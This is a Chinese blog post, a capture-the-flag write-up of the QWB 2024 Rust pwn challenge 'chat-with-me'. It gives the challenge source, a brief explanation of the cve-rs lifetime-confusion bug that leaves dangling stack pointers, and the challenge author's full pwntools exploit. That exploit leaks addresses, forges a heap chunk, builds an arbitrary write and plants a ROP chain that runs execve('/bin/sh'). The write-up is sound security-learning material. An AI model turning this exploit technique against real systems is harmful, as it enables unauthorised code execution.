Zj_W1nd's BLOG

How2Heap-rust——qwb2024_chat-with-me

2024/12/12

题目分析

到手之后是一个扣了符号的rust程序,非常的恶心。

最后看看出题人的分享

https://bbs.kanxue.com/thread-284240.htm

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
use std::fmt;
use std::io::{self, Read, Write};

const MAX_MSG_LEN: usize = 0x50;
struct Msg {
data: [u8; MAX_MSG_LEN],
}

impl Msg {
#[inline(never)]
fn new() -> Self {
Msg {
data: [0; MAX_MSG_LEN],
}
}
}

impl fmt::Display for Msg {
#[inline(never)]
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
write!(f, "{:?}", self.data)
}
}

#[inline(never)]
fn prompt(msg: String) {
print!("{} > ", msg);
io::stdout().flush().unwrap();
}

struct ChatBox {
msg_list: Vec<&'static mut Msg>,
}

impl ChatBox {
#[inline(never)]
fn new() -> Self {
ChatBox {
msg_list: Vec::new(),
}
}

#[inline(never)]
fn add_msg(&mut self) {
println!("Adding a new message");
self.msg_list.push(self.get_ptr());
println!(
"Successfully added a new message with index: {}",
self.msg_list.len() - 1
);
}

#[inline(never)]
fn show_msg(&mut self) {
prompt("Index".parse().unwrap());
let mut index = String::new();
io::stdin().read_line(&mut index).expect("Failed to read");
let index: usize = index.trim().parse().expect("Invalid!");
println!("Content: {}", self.msg_list[index]);
}

#[inline(never)]
fn edit_msg(&mut self) {
prompt("Index".parse().unwrap());
let mut index = String::new();
io::stdin().read_line(&mut index).expect("Failed to read");
let index: usize = index.trim().parse().expect("Invalid!");
prompt("Content".parse().unwrap());
let mut handle = io::stdin().lock();
handle.read(&mut self.msg_list[index].data).expect("Failed to read");
println!("Content: {}", self.msg_list[index]);
}

#[inline(never)]
fn delete_msg(&mut self) {
prompt("Index".parse().unwrap());
let mut index = String::new();
io::stdin().read_line(&mut index).expect("Failed to read");
let index: usize = index.trim().parse().expect("Invalid!");
self.msg_list.remove(index);
}

#[inline(never)]
fn get_ptr(&self) -> &'static mut Msg {
const S: &&() = &&();

fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
let mut msg = Msg::new();
get_ptr(&mut msg)
}
}

#[inline(never)]
fn main() {
let mut chat_box = ChatBox::new();
println!("I am a chatting bot of QWB S8, you can chat with me.");
println!("If you delight me, I will give you flag!");
println!("This is function menu: ");
println!("1. add");
println!("2. show");
println!("3. edit");
println!("4. delete");
println!("5. exit");
loop {
prompt("Choice".parse().unwrap());
let mut choice = String::new();
io::stdin().read_line(&mut choice).expect("Failed to read");
let choice: i8 = choice.trim().parse().expect("Invalid!");

match choice {
1 => chat_box.add_msg(),
2 => chat_box.show_msg(),
3 => chat_box.edit_msg(),
4 => chat_box.delete_msg(),
5 => break,
_ => println!("Invalid Choice!")
}
}
}

题目漏洞点的核心在于这个poc函数,来自于cve-rs并在UIUCTF2024 Rusty Pointer中用过的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fn get_ptr(&self) -> &'static mut Msg {
const S: &&() = &&();// 定义一个常量 S,它是一个指向空元组的引用的引用

// 定义一个泛型函数 get_ptr,接受一个可变引用 x,并返回一个不同生命周期的可变引用
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
// 定义一个辅助函数 ident,接受两个参数:一个引用的引用和一个可变引用
fn ident<'a, 'b, T: ?Sized>(_val_a: &'a &'b (), val_b: &'b mut T) -> &'a mut T {
val_b
}
// 定义一个函数指针 f,指向 ident 函数
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
let mut msg = Msg::new();
get_ptr(&mut msg)
}

这个函数的目的是“通过对变量静态生存周期的混淆,欺骗编译器不释放离开生存期的变量,从而获得一个离开生命周期后仍然可用的指针”,本题中vec里的那一个个栈上地址能够被使用就是因为这个函数。反正就是来回套娃,利用了一个骗过rust编译器生命周期的技巧来实现这一点。

原理这块先鸽了。

exp:

出题人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python

"""
author: GeekCmore
time: 2024-10-30 17:06:06
"""
from pwn import *

filename = "/home/geekcmore/Desktop/qwb/chat_with_me/attachments/pwn"
libcname = "/home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "localhost"
port = 6666
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = """
b *$rebase(0x1A979)
b /home/geekcmore/RustroverProjects/chat-with-me/src/main.rs:145
set debug-file-directory /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/libc6-dbg_2.39-0ubuntu8.3_amd64/usr/lib/debug
set directories /home/geekcmore/.config/cpwn/pkgs/2.39-0ubuntu8.3/amd64/glibc-source_2.39-0ubuntu8.3_all/usr/src/glibc/glibc-2.39
"""

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

p = start()
def add():
p.sendlineafter(b"Choice > ", b"1")

def show(idx):
p.sendlineafter(b"Choice > ", b"2")
p.sendlineafter(b"Index > ", str(idx).encode())

def edit(idx, content):
p.sendlineafter(b"Choice > ", b"3")
p.sendlineafter(b"Index > ", str(idx).encode())
p.sendafter(b"Content > ", content)

def delete(idx):
p.sendlineafter(b"Choice > ", b"4")
p.sendlineafter(b"Index > ", str(idx).encode())

def quit():
p.sendlineafter(b"Choice > ", b"5")

def tidy():
p.recvuntil(b"Content: ")
y = p.recvline()[1:-2].decode().replace(" ", "").split(",")
values = []
for i in range(10):
tmp = 0
for j in range(8):
tmp += int(y[i * 8 + 7 - j])
tmp <<= 8
tmp >>= 8
values.append(tmp)
info([hex(x) for x in values])
return values

add()
show(0)
addr_list = tidy()
stack_addr = addr_list[4]
elf.address = addr_list[5] - 0x635B0
heap_addr = addr_list[1]
success(f"stack_addr -> {hex(stack_addr)}")
success(f"elf_addr -> {hex(elf.address)}")
success(f"heap_addr -> {hex(heap_addr)}")
fake_heap = p64(1) + p64(0x91) + p64(1) * 2 + p64(heap_addr - 0x2010) + p64(0x1FE1)
edit(0, fake_heap)
tidy()

for _ in range(6):
add()
info("start")

def arb_qword(addr, qword):
edit(1, p64(0) * 5 + p64(0x51) + p64(addr))
info(f"Write {hex(u64(qword))} to [{hex(addr)}]")
edit(0, qword)

def arb_write(addr, content):
for i in range(0, len(content), 8):
arb_qword(addr + i, content[i : i + 8])

ret_addr = stack_addr + 0x3D0
syscall = elf.address + 0x0000000000026FCF
pop_rdi_rbp = elf.address + 0x000000000001DD45
pop_rsi_rbp = elf.address + 0x000000000001E032
pop_rax = elf.address + 0x0000000000016F3E
pop_rdx_xor_ptrax = elf.address + 0x0000000000045DC5
sub_rdx_rcx_add_rax_rcx = elf.address + 0x000000000001FC60
pop_rcx = elf.address + 0x0000000000017FFF
ret = elf.address + 0x0000000000016BD8
payload = b""
payload += p64(pop_rdi_rbp) + p64(ret_addr + 0x60) + p64(0)
payload += p64(pop_rsi_rbp) + p64(0) + p64(0)
payload += p64(pop_rcx) + p64(0x33)
payload += p64(sub_rdx_rcx_add_rax_rcx)
payload += p64(pop_rax) + p64(constants.SYS_execve)
payload += p64(syscall)
payload += b"/bin/sh\x00"

arb_write(ret_addr, payload)
quit()
p.interactive()
CATALOG
  1. 1. 题目分析
  2. 2. 最后看看出题人的分享
    1. 2.1. 源码:
    2. 2.2. exp: